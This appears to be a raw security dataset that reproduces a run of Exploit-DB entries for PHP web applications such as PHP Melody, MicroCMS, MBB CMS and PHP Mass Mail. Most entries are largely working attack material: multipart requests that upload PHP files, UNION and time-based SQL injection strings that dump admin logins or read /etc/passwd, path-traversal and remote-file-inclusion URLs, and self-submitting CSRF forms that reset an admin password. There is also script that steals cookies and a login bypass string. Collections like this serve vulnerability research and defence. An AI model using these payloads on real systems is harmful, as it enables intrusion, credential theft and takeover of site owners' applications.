deardaniel/secdata-raw huggingface dataset:
Exploit-DB #45879
Description: PHP Mass Mail 1.0 - Arbitrary File Upload
Type: webapps
Platform: php
Date: 2018-11-15
Author: Ihsan Sencan

Exploit:
# Exploit Title: PHP Mass Mail 1.0 - Arbitrary File Upload
# Dork: N/A
# Date: 2018-11-14
# Exploit Author: Ihsan Sencan
# Vendor Homepage: https://phpmassmail.sourceforge.io/
# Software Link: https://netix.dl.sourceforge.net/project/phpmassmail/phpmassmail/1.0.0/phpmassmail.zip
# Version: 1.0
# Category: Webapps
# Tested on: WiN7_x64/KaLiLinuX_x64
# CVE: N/A

# POC: 
# 1) 
# http://localhost/[PATH]/send.php
# 
# http://localhost/[PATH]/upload/[FILE]

# ....
#07 require("class.phpmailer.php");
#08 
#09 $uploaddir = 'upload';
#10 $key = 0;
#11 $tmp_name = $_FILES["userfile"]["tmp_name"][$key];
#12         $name = $_FILES["userfile"]["name"][$key];
#13         $sendfile = "$uploaddir/$name";
#14 move_uploaded_file($tmp_name, $sendfile);
# ....

POST /[PATH]/send.php HTTP/1.1
Host: TARGET
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:55.0) Gecko/20100101 Firefox/55.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: tr-TR,tr;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Content-Type: application/octet-stream
Content-Length: 716
Cookie: PHPSESSID=dhq0fbvco8d0sc0lem3l2kktk0
DNT: 1
Connection: keep-alive
Upgrade-Insecure-Requests: 1
----------------------------[PII_REDACTED]15724: undefined
Content-Disposition: form-data; name="userfile[]"; filename="phpinfo.php"
<?php
phpinfo();
?>
----------------------------[PII_REDACTED]15724--
HTTP/1.1 200 OK
Date: Wed, 14 Nov 2018 19:27:39 GMT
Server: Apache/2.4.25 (Win32) OpenSSL/1.0.2j PHP/5.6.30
X-Powered-By: PHP/5.6.30
Content-Length: 719
Keep-Alive: timeout=5, max=100
Connection: Keep-Alive
Content-Type: text/html; charset=UTF-8

# POC: 
# 2)
# http://localhost/[PATH]/send.php
# 
# http://localhost/[PATH]/upload/[FILE]
# 
<html>
<body>
<form method="post" action="send.php" enctype="multipart/form-data">
<input name="userfile[]" type="file">
<input value="Send mail" type="submit">
</form>
</body>
</html>
Exploit-DB #41525
Description: PHP Matrimonial Script 3.0 - SQL Injection
Type: webapps
Platform: php
Date: 2017-03-06
Author: Ihsan Sencan

Exploit:
# # # # # 
# Exploit Title: Matrimonial Script v3.0 - SQL Injection
# Google Dork: N/A
# Date: 06.03.2017
# Vendor Homepage: http://www.phpscriptsmall.com/
# Software : http://www.phpscriptsmall.com/product/matrimonial-script/
# Demo: http://74.124.215.220/~matriialscrip/
# Version: 3.0
# Tested on: Win7 x64, Kali Linux x64
# # # # # 
# Exploit Author: Ihsan Sencan
# Author Web: http://ihsan.net
# Author Mail : ihsan[@]ihsan[.]net
# # # # #
# SQL Injection/Exploit :
# http://localhost/[PATH]/mother_tongue_search.php?/IhsanSencan&id=[SQL]
# http://localhost/[PATH]/mother_tongue_search.php?/index_search_result.php?smart_search_gender=[SQL]Male&in_age_from=[SQL]18&in_age_to=[SQL]45&in_religion=[SQL]&in_mother=[SQL]&in_caste=[SQL]&in_country=[SQL]
# For example;
# -8'+/*!50000union*/+select+1,2,3,0x496873616e2053656e63616e3c62723e7777772e696873616e2e6e6574,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,(Select+export_set(5,@:=0,(select+count(*)from(information_schema.columns)where@:=export_set(5,export_set(5,@,table_name,0x3c6c693e,2),column_name,0xa3a,2)),@,2)),29,30,31,32,33,34,35,36,37,38,39,40,41,42,43,44,45,46,47,48,49,50,51,52,53,54--+-
# adminlogin :id
# adminlogin :userid
# adminlogin :password
# adminlogin :email
# -8'+/*!50000union*/+select+1,2,3,0x496873616e2053656e63616e3c62723e7777772e696873616e2e6e6574,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,/*!50000concat*/(userid,0x3a,password),29,30,31,32,33,34,35,36,37,38,39,40,41,42,43,44,45,46,47,48,49,50,51,52,53,54+from+adminlogin--+-
# Etc...
# # # # #
Exploit-DB #37476
Description: PHP MBB - Cross-Site Scripting / SQL Injection
Type: webapps
Platform: php
Date: 2012-07-03
Author: TheCyberNuxbie

Exploit:
source: https://www.securityfocus.com/bid/54271/info

php MBB is prone to multiple cross-site scripting and SQL-injection vulnerabilities because it fails to sufficiently sanitize user-supplied data.

Exploiting these issues could allow an attacker to steal cookie-based authentication credentials, compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.

php MBB 0.0.3 is vulnerable; other versions may also be affected.

http://www.example.com/mbbcms/?ref=search&q=' + [SQL Injection]
http://www.example.com/mbbcms/?mod=article&act=search&q=' + [SQL Injection]

http://www.example.com/mbbcms/?ref=search&q= [XSS]
http://www.example.com/mbbcms/?mod=article&act=search&q= [XSS]
Exploit-DB #30478
Description: PHP MBB CMS 004 - Multiple Vulnerabilities
Type: webapps
Platform: php
Date: 2013-12-24
Author: cr4wl3r

Exploit:
# MBB CMS <= 004 (LFI/SQLi) Multiple Vulnerability
# By cr4wl3r http://bastardlabs.info
# Script http://sourceforge.net/projects/phpmbbcms/
# Tested : Windows / Linux
# Dork   : N/A
###################################################
# LFI [ MBB_CMS/index.php ]
# .......
# 22 if(isset($_GET['mod'])){
# 23   $a=$_GET['mod'];
# 24   switch($a){
# 25    case $a:
# 26       if(file_exists("modul/$a/$a.php")){
# 27         include("modul/$a/$a.php");
# 28       }else{
# 29         include("site/main.php");
# 30       }
# 31     break;
# 32   }
# 33 }else{
# 34   $a=$_GET['ref'];
# 35   switch($a){
# 36 
# 37     case"login": logForm(); break;
# 38     case"logact": login(); break;
# 39     case"logout": logout(); break;
# 40 
# 41    case $a:
# 42       if(file_exists("site/$a.php")){
# 43         include("site/$a.php");
# 44       }else if(file_exists("site/$a/$a.php")){
# 45         include("site/$a/$a.php");
# 46       }else{
# 47         include("site/main.php");
# 48       }
# 49     break;
# .......
############################################################
 Proof of Concept
 http://127.0.0.1/[MBB_CMS]/?mod=[LFI]%00
 http://127.0.0.1/[MBB_CMS]/?ref=[LFI]%00
 http://127.0.0.1/[MBB_CMS]/?mod=../../../../../../../../../../../../../[file]%00
 http://127.0.0.1/[MBB_CMS]/?ref=../../../../../../../../../../../../../[file]%00

# SQLi [ MBB_CMS/modul/article/article.php ]
# ........
# 18 $id=$_GET['id'];
# 19 $query=mysql_query("select artikel_artikel.id,artikel_artikel.catid,artikel_cat.kategori 
#    from artikel_artikel join artikel_cat on artikel_artikel.catid=artikel_cat.id 
#    where artikel_artikel.id='$id'");
# ........
#
# .....
# 173 function category(){
# 174   $catid=$_GET['catid'];
# 175   @list($kategori)=mysql_fetch_array(mysql_query("select kategori from artikel_cat where id='$catid'"));
# .....
#################################
 Proof of Concept
 http://127.0.0.1/[MBB_CMS]/?mod=article&act=detail&id=[SQLi]
 http://127.0.0.1/[MBB_CMS]/?mod=article&act=category&catid=[SQLi]
 http://127.0.0.1/[MBB_CMS]/?mod=article&act=detail&id=adhan' union select 1,2,version(),4,5 and 'memang'='ganteng
 http://127.0.0.1/[MBB_CMS]/?mod=article&act=category&catid=adhan' union select 1,2,load_file('/etc/passwd'),4,5 and 'memang'='ganteng

# SQLi [MBB_CMS/site/page/page.php ]
# .......
# 92 $pid=$_GET['pid'];
# 93       @list($name)=mysql_fetch_array(mysql_query("select title from pages where pub='1' and id='$pid'"));
# ......
###########################################
 Proof of Concept
 http://127.0.0.1/[MBB_CMS]/?ref=page&pid=[SQLi]
 http://127.0.0.1/[MBB_CMS]/?ref=page&pid=adhan' union select 1,2,load_file(0x433a2f[PII_REDACTED]72762f7777772f64656d6f2f7379732f636f6e6669672e706870),4,5 and 'memang'='ganteng
Exploit-DB #865
Description: PHP mcNews 1.3 - 'skinfile' Remote File Inclusion
Type: webapps
Platform: php
Date: 2005-03-07
Author: Filip Groszynski

Exploit:
Example:

 if register_globals=on and allow_url_fopen=on:
   http://[victim]/[dir]/mcNews/admin/header.php?skinfile=http://[hacker_box]/

# milw0rm.com [2005-03-07]
Exploit-DB #9239
Description: PHP Melody 1.5.3 - Arbitrary File Upload Injection
Type: webapps
Platform: php
Date: 2009-07-23
Author: Chip d3 bi0s

Exploit:
---------------------------------------------------
PHP Melody 1.5.3 remote injection upload file
---------------------------------------------------
 ###################################################
 [+] Author        :  Chip D3 Bi0s
 [+] Email         :  chipdebios[alt+64]gmail.com
 [+] Group         :  LatinHackTeam
 [+] Vulnerability :  SQL injection
 ###################################################

---------info Cms----------------
name     : PHP Melody version 1.5.2
email    : support@phpsugar.com
dowloand : http://www.phpsugar.com
web      : http://www.phpsugar.com
price    : $39 USD
---------------------------------


File: Upload_avatar.php

37. if(preg_match("/.jpg/i", "$filein"))
38.   {
39.       $format = 'image/jpeg';
40.   }
41.   if (preg_match("/.gif/i", "$filein"))
42.   {
43.       $format = 'image/gif';
44.   }
45.   if(preg_match("/.png/i", "$filein"))
46.   {
47.       $format = 'image/png';
48.   }
49.	  switch($format)
50.       {
51.           case 'image/jpeg':
52.           $image = imagecreatefromjpeg($filein);
53.           break;
54.           case 'image/gif';
55.           $image = imagecreatefromgif($filein);
56.           break;
57.           case 'image/png':
58.           $image = imagecreatefrompng($filein);
59.           break;
60.       }
------------
136.  $url = $_FILES['imagefile']['name'];   // Set $url To Equal The Filename For Later Use 
137.  if ($_FILES['imagefile']['type'] == "image/png" || $_FILES['imagefile']['type'] == "image/gif" || $_FILES['imagefile']['type'] == "image/jpg" || $_FILES['imagefile']['type'] == "image/jpeg" || $_FILES['imagefile']['type'] == "image/pjpeg") { 
138.    $file_ext = strrchr($_FILES['imagefile']['name'], '.');   // Get The File Extention In The Format Of , For Instance, .jpg, .gif or .php 

--------------------------------	
explanation:
	
according to the code it does is see if the http, it is
'image/jpeg';'image/gif';'image/png';	
If not upload

how to exploit:
you must first register
then upload the avatar you ever so upload_avatar.php
there will have to change the header


header with a proper imagen.gif looks like

----------------------------[PII_REDACTED]11478\r\n
Content-Disposition: form-data; name="imagefile"; filename="imagen.gif"\r\n
Content-Type: image/gif\r\n\r\n

the header when you upload a shell.php looks like

----------------------------[PII_REDACTED]11478\r\n
Content-Disposition: form-data; name="imagefile"; filename="shell.php"\r\n
Content-Type: application/octet-stream\r\n\r\n

	
then just change it and let q and so can upload *. php

----------------------------[PII_REDACTED]11478\r\n
Content-Disposition: form-data; name="imagefile"; filename="shell.php"\r\n
Content-Type: application/octet-stream\r\n\r\n



Special greetings to my brother d4ng3r  ;) 
+++++++++++++++++++++++++++++++++
[!] Produced in South America
---------------------------------

# milw0rm.com [2009-07-23]
Exploit-DB #43062
Description: PHP Melody 2.6.1 - SQL Injection
Type: webapps
Platform: php
Date: 2017-10-28
Author: Venkat Rajgor

Exploit:
###################################################
[+] Author : Venkat Rajgor
[+] Email : Venki9990@gmail.com
[+] Vulnerability : SQL injection
###################################################
E-mail ID : support@phpsugar.com
Download : http://www.phpsugar.com
Web : http://www.phpsugar.com
Price : $39 USD
###################################################
Vulnerable parameter: http://x.x.x.x/playlists.php?playlist=
Application : PHPSUGAR PHP Melody version 2.6.1
Vulnerability : PHPSUGAR PHP Melody 2.6.1 SQL Injection
###################################################

Description : In PHPSUGAR PHP Melody CMS 2.6.1, SQL Injection exists via the playlist parameter to playlists.php.

Payload Used : ' UNION SELECT null,concat(0x223c2f613e3c2f64 69763e3c2f6469763e,version(),0 x3c212d2d),null,null,null,null ,null,null,null,null,null-- -
Exploit-DB #43409
Description: PHP Melody 2.7.1 - 'playlist' SQL Injection
Type: webapps
Platform: php
Date: 2017-12-31
Author: Ahmad Mahfouz

Exploit:
# Exploit Title: PHP Melody v2.7.1 - SQL Injection
# Date: 30/12/2017
# Exploit Author: Ahmad Mahfouz 
# Contact: http://twitter.com/eln1x
# Vendor Homepage: http://www.phpsugar.com/ Buy http://www.phpsugar.com/phpmelody_order.html
# Version: 2.7.1
# Tested on: Mac OS
#
# SQL Injection Type: time-based blind
# Parameter: playlist
# Page: ajax.php
# URL: http://target.com/ajax.php?p=video&do=getplayer&vid=[VALID_VIDO_ID]&aid=1&player=detail&playlist=[SQLi]

 

GET /ajax.php?p=video&do=getplayer&vid=randomid&aid=1&player=detail&playlist='+(select*from(select(sleep(20)))a)+' HTTP/1.1
Host: localhost
Accept: text/html, */*; q=0.01
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
X-Requested-With: XMLHttpRequest
Connection: close
Exploit-DB #44056
Description: PHP Melody 2.7.3 - Multiple Vulnerabilities
Type: webapps
Platform: php
Date: 2017-10-09
Author: SecuriTeam

Exploit:
## Vulnerabilities Summary
The following advisory describes three (3) vulnerabilities found in PHP Melody version 2.7.3.

PHP Melody is a “self-hosted Video CMS which evolved over the last 9 years. SEO optimization, unbeaten security and speed are advantages you no longer have to compromise on.
A truly great CMS should help you save time and make your life easier not complicate it. Nobody enjoys spending time and money on inferior solutions. If you value your time, don’t settle for anything but the best video CMS with a proven track record, constant support and updates.”

The vulnerabilities found in PHP Melody are:

Stored PreAuth XSS that leads to administrator account takeover
SQL Injection (1)
SQL Injection (2)
Credit
An independent security researcher, Paulos Yibelo, has reported this vulnerability to Beyond Security’s SecuriTeam Secure Disclosure program.

## Vendor response
PHP Melody has released patches to address this vulnerability.

For more information: http://www.phpsugar.com/blog/2017/10/php-melody-v2-7-3-maintenance-release/

CVE: CVE-2017-15578, CVE-2017-15579

## Vulnerabilities details

Stored PreAuth XSS that leads to administrator account takeover
User controlled input is not sufficiently sanitized, such that by sending a POST request to page_manager.php with the following parameters (vulnerable parameter – page_title)


```
page_manager.php?do=new&id=&author=&showinmenu=0&meta_keywords=[PII_REDACTED]@example.com&status=0&submit=Publish&page_name=Peter+Winter&page_title=408b7<script>alert(1)<%2fscript>f2faf
```

An attacker can trigger the vulnerability and when administrator/moderator/editor or anyone with privileges visits Admin access /admin/pages.php?page=1 the payload is triggered and the alert is executed.


SQL Injection (1)
User controlled input is not sufficiently sanitized, by sending a POST request to /phpmelody/admin/edit_category.php with the following parameters:


```
category=3&meta_keywords=[PII_REDACTED]@example.com&tag=categoryone&save=Save$name=Sample+Category+%231&image='&meta_title=[PII_REDACTED]@example.com
```

The vulnerable parameter is the POST “image” parameter. We can send a single quote (‘) to verify and the server will respond with an SQL error. We can inject SQL Queries here or extract data.

This attack requires an admin/modernator or editor to visit a malicious website that will submit the form with a malicious “image” parameter as an Injection


SQL Injection (2)
SQL Injection is on a cookie-value and can be exploited without any user interaction.

The cookie value “aa_pages_per_page” is the vulnerable parameter and we can use time based SQL Injection techniques to verify,

The payload we used ‘ AND benchmark(20000000%2csha1(1))—makes the server sleep for a long time (5-20 seconds).
Exploit-DB #29529
Description: PHP Membership Manager 1.5 - 'admin.php' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2007-01-26
Author: Doz

Exploit:
source: https://www.securityfocus.com/bid/22263/info

PHP Membership Manager is prone to a cross-site scripting vulnerability because the application fails to sufficiently sanitize user-supplied input.

An attacker may leverage this issue to have arbitrary script code execute in the browser of an unsuspecting user in the context of the affected site. This may help the attacker steal cookie-based authentication credentials and launch other attacks.

This issue affects version 1.5; other versions may also be affected. 

http://www.example.com/path/php_mm1.4/admin.php?_p=XSS=_approval_users
Exploit-DB #36550
Description: PHP Membership Site Manager Script 2.1 - 'index.php' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2012-01-16
Author: Atmon3r

Exploit:
source: https://www.securityfocus.com/bid/51416/info

PHP Membership Site Manager Script is prone to a cross-site scripting vulnerability because it fails to properly sanitize user-supplied input before using it in dynamically generated content.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This can allow the attacker to steal cookie-based authentication credentials and launch other attacks.

PHP Membership Site Manager Script version 2.1 and prior are vulnerable.

http://www.example.com/[path]/scripts/membershipsite/manager/index.php?action=search&key=[xss]
Exploit-DB #35172
Description: PHP MicroCMS 1.0.1 - 'page_text' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2011-01-06
Author: High-Tech Bridge SA

Exploit:
source: https://www.securityfocus.com/bid/45702/info

PHP MicroCMS is prone to a cross-site scripting vulnerability because it fails to sufficiently sanitize user-supplied data.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and to launch other attacks.

PHP MicroCMS 1.0.1 is vulnerable; other versions may be affected. 

<form action="http://host/index.php?admin=static_pages_edit&pk=home" method="post" name="main">
<input type="hidden" name="pk" value="home">
<input type="hidden" name="page_title" value="Welcome to PHP MicroCMS">
<input type="hidden" name="page_text" value="text<script>alert(document.cookie)</script>">
<input type="hidden" name="subSavePage" value="Save Changes">
</form>
<script>
document.main.submit();
</script>
Exploit-DB #15923
Description: PHP MicroCMS 1.0.1 - Cross-Site Request Forgery / Cross-Site Scripting
Type: webapps
Platform: php
Date: 2011-01-06
Author: High-Tech Bridge SA

Exploit:
Vulnerability ID: HTB22765
Reference: http://www.htbridge.ch/advisory/xsrf_csrf_in_php_microcms.html
Product: PHP MicroCMS
Vendor: ApPHP ( http://www.apphp.com/ )
Vulnerable Version: 1.0.1 and probably prior versions
Vendor Notification: 21 December 2010
Vulnerability Type: CSRF (Cross-Site Request Forgery)
Status: Not Fixed, Vendor Alerted, Awaiting Vendor Response
Risk level: Low
Credit: High-Tech Bridge SA - Ethical Hacking & Penetration Testing (http://www.htbridge.ch/)

Vulnerability Details:
The vulnerability exists due to failure in the "index.php?admin=my_account" script to properly verify the source of HTTP request.

Successful exploitation of this vulnerability could result in a compromise of the application, theft of cookie-based authentication credentials, disclosure or modification of sensitive data.

Attacker can use browser to exploit this vulnerability and change administrator password. The following PoC is available:

<form action="http://host/index.php?admin=my_account" method="post">
<input type="hidden" name="password_one" value="newpass">
<input type="hidden" name="password_two" value="newpass">
<input type="submit" id="btn" name="submit" value="Change Password">
</form>
<script>
document.getElementById('btn').click();
</script>

XSS:
Vulnerability Details:
User can execute arbitrary JavaScript code within the vulnerable application.

The vulnerability exists due to failure in the "index.php?admin=static_pages_edit&pk=home" script to properly sanitize user-supplied input in "page_text" variable. Successful exploitation of this vulnerability could result in a compromise of the application, theft of cookie-based authentication credentials, disclosure or modification of sensitive data.

An attacker can use browser to exploit this vulnerability. The following PoC is available:

<form action="http://host/index.php?admin=static_pages_edit&pk=home" method="post" name="main">
<input type="hidden" name="pk" value="home">
<input type="hidden" name="page_title" value="Welcome to PHP MicroCMS">
<input type="hidden" name="page_text" value="text<script>alert(document.cookie)</script>">
<input type="hidden" name="subSavePage" value="Save Changes">
</form>
<script>
document.main.submit();
</script>
Exploit-DB #15011
Description: PHP microcms 1.0.1 - Multiple Vulnerabilities
Type: webapps
Platform: php
Date: 2010-09-15
Author: Abysssec

Exploit:
'''
  __  __  ____         _    _ ____  
 |  \/  |/ __ \   /\  | |  | |  _ \ 
 | \  / | |  | | /  \ | |  | | |_) |
 | |\/| | |  | |/ /\ \| |  | |  _ < 
 | |  | | |__| / ____ \ |__| | |_) |
 |_|  |_|\____/_/    \_\____/|____/ 

http://www.exploit-db.com/moaub-15-php-microcms-1-0-1-multiple-remote-vulnerabilities/

'''

 
Title  : PHP MicroCMS 1.0.1 Multiple Remote Vulnerabilities
Affected Version : PHP MicroCMS <= 1.0.1
Vendor  Site   : www.apphp.com/php-microcms/index.php
 
Discovery : abysssec.com
  
Description :
 
This CMS have many critical vulnerability that we refere to some of those here:
 
 
Vulnerabilites :

1. Authentication bypass with SQL Injection in login page:

user_name and password parameters recived from the login form are passed to do_login function:
login.php 
line 12-17:
	function Login() {
		$this->wrong_login = false;
		if (!$this->is_logged_in() && $_POST['submit'] == "Login" && !empty($_POST['user_name']) && !empty($_POST['password'])) $this->do_login($_POST['user_name'], $_POST['password']);
		else if ($_POST['submit_logout'] == "Logout") $this->do_logout();
		$this->accounts = new Profiles($GLOBALS['user_session']->get_session_variable("session_account_id"));
	}

in do_login function these parameters are passed to get_account_information function:
login.php line 19-29:
function do_login($user_name, $password, $do_redirect = true) {
		if ($account_information = $this->get_account_information($user_name, $password)) {
				$this->set_session_variables($account_information);
				if ($do_redirect) {
					header("Location: index.php\r\n\r\n");
					exit;
				}
		}else{
			$this->wrong_login = true;
		}
	}


then these parameters without any validation are applied in SQL query directly:
login.php line 48-55:
	function get_account_information($user_name, $password) {
		$sql = "SELECT ".DB_PREFIX."accounts.*, user_name AS account_name
							   FROM ".DB_PREFIX."accounts
							   WHERE
									user_name = '" . $user_name . "' AND 			// vulnerability here
									password = AES_ENCRYPT('" . $password . "', '" . DB_ENCRYPT_KEY . "')";	// vulnerability here
		return database_query($sql, DATA_ONLY, FIRST_ROW_ONLY);
	}

POC:
in login page enter:
username: a' or '1'='1
password: a' or '1'='1
----------------------------------------------------------------------------------------------------
2. Local File Inclusion:

index.php file line 21:
	$page = !empty($_GET['page']) ? $_GET['page'] : "home";

index.php file line 104,105:
					if (($page != "") && file_exists("page/" . $page . ".php")) {
						require("page/" . $page . ".php");	
poc:
http://localhost/microcms/index.php?page=../include/base.inc.php%00